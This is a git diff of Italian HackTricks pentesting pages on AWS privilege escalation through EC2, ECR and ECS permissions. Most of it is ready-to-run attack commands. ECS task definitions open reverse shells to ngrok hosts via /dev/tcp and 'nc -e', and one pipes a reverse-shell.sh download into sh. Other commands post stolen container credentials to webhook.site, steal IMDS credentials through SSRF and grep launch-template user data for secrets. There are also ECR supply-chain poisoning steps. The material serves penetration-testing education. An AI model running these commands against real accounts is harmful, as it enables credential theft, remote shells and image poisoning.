+```bash
+aws ec2 enable-serial-console-access
+
+aws ec2-instance-connect send-serial-console-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--serial-port 0 \
+--region "eu-west-1" \
+--ssh-public-key "file://$PUBK_PATH"
+
+ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
+```
+Questo modo non è molto utile per privesc in quanto è necessario conoscere uno username e una password per sfruttarlo.
+
+**Impatto potenziale:** (Altamente non dimostrabile) Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.
+
+### `describe-launch-templates`,`describe-launch-template-versions`
+
+Poiché i launch templates hanno il versioning, un attaccante con i permessi **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come credenziali presenti nel user data. Per farlo, lo script seguente scorre tutte le versioni dei launch templates disponibili:
+```bash
+for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
+do
+echo "[*] Analyzing $i"
+aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
+do
+echo "VersionNumber: $version"
+echo "$userdata" | base64 -d
+echo
+done | grep -iE "aws_|password|token|api"
+done
+```
+Nei comandi sopra, anche se stiamo specificando certi pattern (`aws_|password|token|api`), puoi usare una regex diversa per cercare altri tipi di informazioni sensibili.
+
+Supponendo di trovare `aws_access_key_id` e `aws_secret_access_key`, possiamo usare queste credenziali per autenticarsi ad AWS.
+
+**Impatto potenziale:** Escalation di privilegi diretta agli utenti IAM.
+
+## Riferimenti
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade per abilitare il furto di credenziali via SSRF)
+
+Un attaccante con la possibilità di chiamare `ec2:ModifyInstanceMetadataOptions` su un'istanza EC2 vittima può indebolire le protezioni IMDS abilitando IMDSv1 (`HttpTokens=optional`) e aumentando il `HttpPutResponseHopLimit`. Questo rende l'endpoint dei metadata dell'istanza raggiungibile tramite percorsi comuni SSRF/proxy dalle applicazioni in esecuzione sull'istanza. Se l'attaccante riesce a innescare una SSRF in tale app, può recuperare le credenziali dell'instance profile e pivotare con esse.
+
+- Permessi richiesti: `ec2:ModifyInstanceMetadataOptions` sull'istanza target (più la capacità di raggiungere/innescare una SSRF sull'host).
+- Risorsa target: l'istanza EC2 in esecuzione con un instance profile allegato (IAM role).
+
+Esempio di comandi:
+```bash
+# 1) Check current metadata settings
+aws ec2 describe-instances --instance-id <INSTANCE_ID> \
+--query 'Reservations[0].Instances[0].MetadataOptions'
+
+# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
+aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
+--http-endpoint enabled --http-tokens optional \
+--http-put-response-hop-limit 3 --instance-metadata-tags enabled
+
+# 3) Through the SSRF, enumerate role name
+curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
+
+# 4) Through the SSRF, steal the temporary credentials
+curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
+
+# 5) Use the stolen credentials
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity
+
+# 6) Restore protections (require IMDSv2, low hop limit)
+aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
+--http-tokens required --http-put-response-hop-limit 1
+```
+Impatto potenziale: furto di instance profile credentials tramite SSRF che porta a privilege escalation e lateral movement sfruttando i permessi del ruolo EC2.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
deleted file mode 100644
index 25e883231..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ /dev/null
@@ -1,100 +0,0 @@
-# AWS - ECR Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
-
-Un attaccante con **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** può accedere a ECR e scaricare immagini.
-
-Per ulteriori informazioni su come scaricare immagini:
-
-{{#ref}}
-../aws-post-exploitation/aws-ecr-post-exploitation.md
-{{#endref}}
-
-**Impatto Potenziale:** Privesc indiretto intercettando informazioni sensibili nel traffico.
-
-### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
-
-Un attaccante con tutti questi permessi **può accedere a ECR e caricare immagini**. Questo può essere utile per elevare i privilegi in altri ambienti dove quelle immagini vengono utilizzate.
-
-Per imparare come caricare una nuova immagine/aggiornarne una, controlla:
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
-
-Come nella sezione precedente, ma per repository pubblici.
-
-### `ecr:SetRepositoryPolicy`
-
-Un attaccante con questo permesso potrebbe **cambiare** la **politica** del **repository** per concedere a se stesso (o addirittura a tutti) **accesso in lettura/scrittura**.\
-Ad esempio, in questo esempio l'accesso in lettura è concesso a tutti.
-```bash
-aws ecr set-repository-policy \
---repository-name <repo_name> \
---policy-text file://my-policy.json
-```
-Contenuti di `my-policy.json`:
-```json
-{
-"Version": "2008-10-17",
-"Statement": [
-{
-"Sid": "allow public pull",
-"Effect": "Allow",
-"Principal": "*",
-"Action": [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-### `ecr-public:SetRepositoryPolicy`
-
-Come nella sezione precedente, ma per i repository pubblici.\
-Un attaccante può **modificare la policy del repository** di un repository ECR pubblico per concedere accesso pubblico non autorizzato o per aumentare i propri privilegi.
-```bash
-bashCopy code# Create a JSON file with the malicious public repository policy
-echo '{
-"Version": "2008-10-17",
-"Statement": [
-{
-"Sid": "MaliciousPublicRepoPolicy",
-"Effect": "Allow",
-"Principal": "*",
-"Action": [
-"ecr-public:GetDownloadUrlForLayer",
-"ecr-public:BatchGetImage",
-"ecr-public:BatchCheckLayerAvailability",
-"ecr-public:PutImage",
-"ecr-public:InitiateLayerUpload",
-"ecr-public:UploadLayerPart",
-"ecr-public:CompleteLayerUpload",
-"ecr-public:DeleteRepositoryPolicy"
-]
-}
-]
-}' > malicious_public_repo_policy.json
-
-# Apply the malicious public repository policy to the ECR Public repository
-aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
-```
-**Impatto Potenziale**: Accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di caricare, scaricare o eliminare immagini.
-
-### `ecr:PutRegistryPolicy`
-
-Un attaccante con questo permesso potrebbe **cambiare** la **politica del registro** per concedere a se stesso, al suo account (o addirittura a tutti) **accesso in lettura/scrittura**.
-```bash
-aws ecr set-repository-policy \
---repository-name <repo_name> \
---policy-text file://my-policy.json
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
new file mode 100644
index 000000000..81a669de2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
@@ -0,0 +1,268 @@
+# AWS - ECR Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
+
+Un attacker con le **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** può effettuare il login a ECR e scaricare images.
+
+Per maggiori info su come scaricare images:
+
+{{#ref}}
+../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
+{{#endref}}
+
+**Potenziale Impatto:** Privesc indiretto intercettando informazioni sensibili nel traffico.
+
+### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
+
+Un attacker con tutte queste permission **può effettuare il login a ECR e uploadare images**. Questo può essere utile per escalare privilegi ad altri ambienti dove tali images vengono utilizzate.
+
+Per sapere come uploadare una nuova image/aggiornare una esistente, consulta:
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
+
+Come la sezione precedente, ma per repository pubblici.
+
+### `ecr:SetRepositoryPolicy`
+
+Un attacker con questa permission potrebbe **change** la **repository** **policy** per concedersi (o anche a chiunque) **read/write access**.\
+Ad esempio, in questo esempio read access è concesso a chiunque.
+```bash
+aws ecr set-repository-policy \
+--repository-name <repo_name> \
+--policy-text file://my-policy.json
+```
+Contenuto di `my-policy.json`:
+```json
+{
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "allow public pull",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+### `ecr-public:SetRepositoryPolicy`
+
+Come la sezione precedente, ma per repository pubblici.\
+Un attacker può **modify the repository policy** di un repository ECR Public per concedere accesso pubblico non autorizzato o per elevare i propri privilegi.
+```bash
+# Create a JSON file with the malicious public repository policy
+echo '{
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "MaliciousPublicRepoPolicy",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr-public:GetDownloadUrlForLayer",
+"ecr-public:BatchGetImage",
+"ecr-public:BatchCheckLayerAvailability",
+"ecr-public:PutImage",
+"ecr-public:InitiateLayerUpload",
+"ecr-public:UploadLayerPart",
+"ecr-public:CompleteLayerUpload",
+"ecr-public:DeleteRepositoryPolicy"
+]
+}
+]
+}' > malicious_public_repo_policy.json
+
+# Apply the malicious public repository policy to the ECR Public repository
+aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
+```
+**Impatto potenziale**: Accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di push, pull o eliminare immagini.
+
+### `ecr:PutRegistryPolicy`
+
+Un attacker con questa autorizzazione potrebbe **modificare** la **registry policy** per concedere a sé stesso, al suo account (o persino a chiunque) **accesso in lettura/scrittura**.
+```bash
+aws ecr set-repository-policy \
+--repository-name <repo_name> \
+--policy-text file://my-policy.json
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### ecr:CreatePullThroughCacheRule
+
+Sfrutta le regole ECR Pull Through Cache (PTC) per mappare uno namespace upstream controllato dall'attaccante su un prefisso ECR privato attendibile. Questo fa sì che i workload che eseguono pull dal private ECR ricevano in modo trasparente immagini controllate dall'attaccante senza alcun push nel private ECR.
+
+- Permessi richiesti: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se si usa l'upstream ECR Public: ecr-public:* per creare/push al repository pubblico.
+- Upstream testato: public.ecr.aws
+
+Passaggi (esempio):
+
+1. Prepare attacker image in ECR Public
+# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
+docker login public.ecr.aws/<public_alias>
+docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
+docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
+
+2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
+aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
+
+3. Pull the attacker image via the private ECR path (no push to private ECR was done)
+docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
+docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
+docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
+
+Potential Impact: Compromissione della supply chain sfruttando nomi interni delle immagini sotto il prefisso scelto. Qualunque workload che esegua pull di immagini dal private ECR usando quel prefisso riceverà contenuti controllati dall'attaccante.
+
+### `ecr:PutImageTagMutability`
+
+Sfrutta questo permesso per trasformare un repository con tag immutabili in modificabili e sovrascrivere tag attendibili (ad es., latest, stable, prod) con contenuti controllati dall'attaccante.
+
+- Permessi richiesti: `ecr:PutImageTagMutability` oltre ai permessi di push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
+- Impatto: Compromissione della supply chain tramite la sostituzione silente di tag immutabili senza cambiare i nomi dei tag.
+
+Passaggi (esempio):
+
+<details>
+<summary>Avvelenare un tag immutabile alternando la mutabilità</summary>
+```bash
+REGION=us-east-1
+REPO=ht-immutable-demo-$RANDOM
+aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+# Build and push initial trusted tag
+printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Attempt overwrite while IMMUTABLE (should fail)
+printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Flip to MUTABLE and overwrite
+aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Validate consumers pulling by tag now get the poisoned image (prints V2)
+docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+```
+</details>
+
+
+#### Hijack globale del registry tramite regola ROOT Pull-Through Cache
+
+Crea una regola Pull-Through Cache (PTC) usando il valore speciale `ecrRepositoryPrefix=ROOT` per mappare la radice del registry ECR privato a un registry pubblico upstream (es., ECR Public). Qualsiasi pull verso un repository inesistente nel registry privato verrà servito in modo trasparente dall'upstream, abilitando supply-chain hijacking senza dover effettuare push su ECR privato.
+
+- Permessi richiesti: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
+- Impatto: I pull verso `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` avranno successo e creeranno automaticamente repository privati derivati dall'upstream.
+
+> Nota: Per le regole `ROOT`, omettere `--upstream-repository-prefix`. Fornire questo parametro causerà un errore di validazione.
+
+<details>
+<summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
+```bash
+REGION=us-east-1
+ACCT=$(aws sts get-caller-identity --query Account --output text)
+
+# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
+aws ecr create-pull-through-cache-rule \
+--region "$REGION" \
+--ecr-repository-prefix ROOT \
+--upstream-registry-url public.ecr.aws
+
+# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
+
+# Example using an official mirror path hosted in ECR Public
+# (public.ecr.aws/docker/library/alpine:latest)
+docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
+
+# 3) Verify repo and image now exist without any push
+aws ecr describe-repositories --region "$REGION" \
+--query "repositories[?repositoryName==docker/library/alpine]"
+aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED
+
+# 4) Cleanup
+aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
+aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
+```
+</details>
+
+### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` per bypassare i deny della registry policy)
+
+Abusa di `ecr:PutAccountSetting` per cambiare l'ambito della registry policy da `V2` (policy applicata a tutte le azioni ECR) a `V1` (policy applicata solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se una registry policy restrittiva con effetto Deny blocca azioni come `CreatePullThroughCacheRule`, il downgrade a `V1` rimuove quell'applicazione in modo che gli Allows della identity‑policy abbiano effetto.
+
+- Permessi richiesti: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
+- Impatto: Capacità di eseguire azioni ECR precedentemente bloccate da una registry policy con effetto Deny (es., creare PTC rules) impostando temporaneamente lo scope su `V1`.
+
+Passaggi (esempio):
+
+<details>
+<summary>Bypass registry policy Deny su CreatePullThroughCacheRule passando a V1</summary>
+```bash
+REGION=us-east-1
+ACCT=$(aws sts get-caller-identity --query Account --output text)
+
+# 0) Snapshot current scope/policy (for restore)
+aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
+aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
+
+# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
+cat > /tmp/deny-ptc.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "DenyPTCAll",
+"Effect": "Deny",
+"Principal": "*",
+"Action": ["ecr:CreatePullThroughCacheRule"],
+"Resource": "*"
+}
+]
+}
+JSON
+aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
+
+# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
+set +e
+aws ecr create-pull-through-cache-rule \
+--region $REGION \
+--ecr-repository-prefix ptc-deny-test \
+--upstream-registry-url public.ecr.aws
+RC=$?
+set -e
+if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
+
+# 3) Downgrade scope to V1 and retry (should SUCCEED now)
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
+aws ecr create-pull-through-cache-rule \
+--region $REGION \
+--ecr-repository-prefix ptc-deny-test \
+--upstream-registry-url public.ecr.aws
+
+# 4) Verify rule exists
+aws ecr describe-pull-through-cache-rules --region $REGION \
+--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
+
+# 5) Cleanup and restore
+aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
+if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
+jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
+aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
+else
+aws ecr delete-registry-policy --region $REGION || true
+fi
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
+```
+</details>
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
deleted file mode 100644
index fd9051319..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ /dev/null
@@ -1,327 +0,0 @@
-# AWS - ECS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Maggiori **informazioni su ECS** in:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
-
-Un attaccante che sfrutta le permission `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le metadata credentials e **eseguirla**.
-
-{{#tabs }}
-{{#tab name="Reverse Shell" }}
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---requires-compatibilities "[\"FARGATE\"]" \
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
-
-# Run task definition
-aws ecs run-task --task-definition iam_exfiltration \
---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
---launch-type FARGATE \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-```
-{{#endtab }}
-
-{{#tab name="Webhook" }}
-
-Crea un webhook con un sito come webhook.site
-```bash
-
-# Create file container-definition.json
-[
-{
-"name": "exfil_creds",
-"image": "python:latest",
-"entryPoint": ["sh", "-c"],
-"command": [
-"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
-]
-}
-]
-
-# Run task definition, uploading the .json file
-aws ecs register-task-definition \
---family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 \
---memory 512 \
---requires-compatibilities FARGATE \
---container-definitions file://container-definition.json
-
-# Check the webhook for a response
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-
-```
-{{#endtab }}
-
-{{#endtabs }}
-
-**Potential Impact:** Privesc diretto verso un ruolo ECS differente.
-
-### `iam:PassRole`,`ecs:RunTask`
-Un attacker che ha i permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo ECS task con valori modificati di **execution role**, **task role** e **command** del container. Il comando CLI `ecs run-task` contiene il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza toccare la task definition.
-
-I ruoli IAM specificati per `taskRoleArn` e `executionRoleArn` devono consentire/essere autorizzati ad essere assunti da `ecs-tasks.amazonaws.com` nella loro trust policy.
-
-Inoltre, l'attacker deve conoscere:
-- ECS cluster name
-- VPC Subnet
-- Security group (se non viene specificato verrà usato quello di default)
-- Task Definition Name and revision
-- Name of the Container
-```bash
-aws ecs run-task \
---cluster <cluster-name> \
---launch-type FARGATE \
---network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
---task-definition <task-definition:revision> \
---overrides '
-{
-"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"containerOverrides": [
-{
-"name": <container-name>,
-"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
-}
-]
-}'
-```
-Nel frammento di codice sopra un attacker sovrascrive solo il valore di `taskRoleArn`. Tuttavia, l'attacker deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella task definition affinché l'attacco possa avvenire.
-
-Se il ruolo IAM che l'attacker può passare ha privilegi sufficienti per scaricare l'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), allora l'attacker può specificare lo stesso ruolo IAM sia per `executionRoleArn` che per `taskRoleArn` nel comando `ecs run-task`.
-```sh
-aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
-{
-"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"containerOverrides": [
-{
-"name": "<container-name>",
-"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
-}
-]
-}'
-```
-**Impatto potenziale:** Direct privesc a qualsiasi ECS task role.
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
-
-Proprio come nell'esempio precedente un attacker che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **eseguirla**.\
-Tuttavia, in questo caso è necessario che sia disponibile una container instance su cui eseguire la task definition malevola.
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
-
-aws ecs start-task --task-definition iam_exfiltration \
---container-instances <instance_id>
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-```
-**Potential Impact:** privesc diretto su qualsiasi ruolo ECS.
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 
-
-Come nell'esempio precedente, un attaccante che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali dei metadata e **eseguirlo creando un nuovo service con almeno 1 task in esecuzione.**
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn  "$ECS_ROLE_ARN" \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---requires-compatibilities "[\"FARGATE\"]" \
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
-
-# Run the task creating a service
-aws ecs create-service --service-name exfiltration \
---task-definition iam_exfiltration \
---desired-count 1 \
---cluster "$CLUSTER_ARN" \
---launch-type FARGATE \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
-
-# Run the task updating a service
-aws ecs update-service --cluster <CLUSTER NAME> \
---service <SERVICE NAME> \
---task-definition <NEW TASK DEFINITION NAME>
-```
-**Potenziale impatto:** privesc diretto su qualsiasi ECS role.
-
-### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
-
-In realtà, solo con queste autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa del genere:
-```bash
-aws ecs run-task \
---task-definition "<task-name>" \
---overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
---cluster <cluster-name> \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
-```
-**Potential Impact:** Privesc diretto a qualsiasi ruolo ECS.
-
-### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-
-Questo scenario è come i precedenti ma **senza** il permesso **`iam:PassRole`**.\
-Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche se senza un ruolo, potresti **eseguire un container privilegiato per evadere** verso il nodo e **rubare l'EC2 IAM role** e gli **altri ruoli dei container ECS** in esecuzione sul nodo.\
-Potresti persino **forzare altre task a essere eseguite all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
-
-> [!WARNING]
-> Questo attacco è possibile solo se l'**ECS cluster usa EC2** e non Fargate.
-```bash
-printf '[
-{
-"name":"exfil_creds",
-"image":"python:latest",
-"entryPoint":["sh", "-c"],
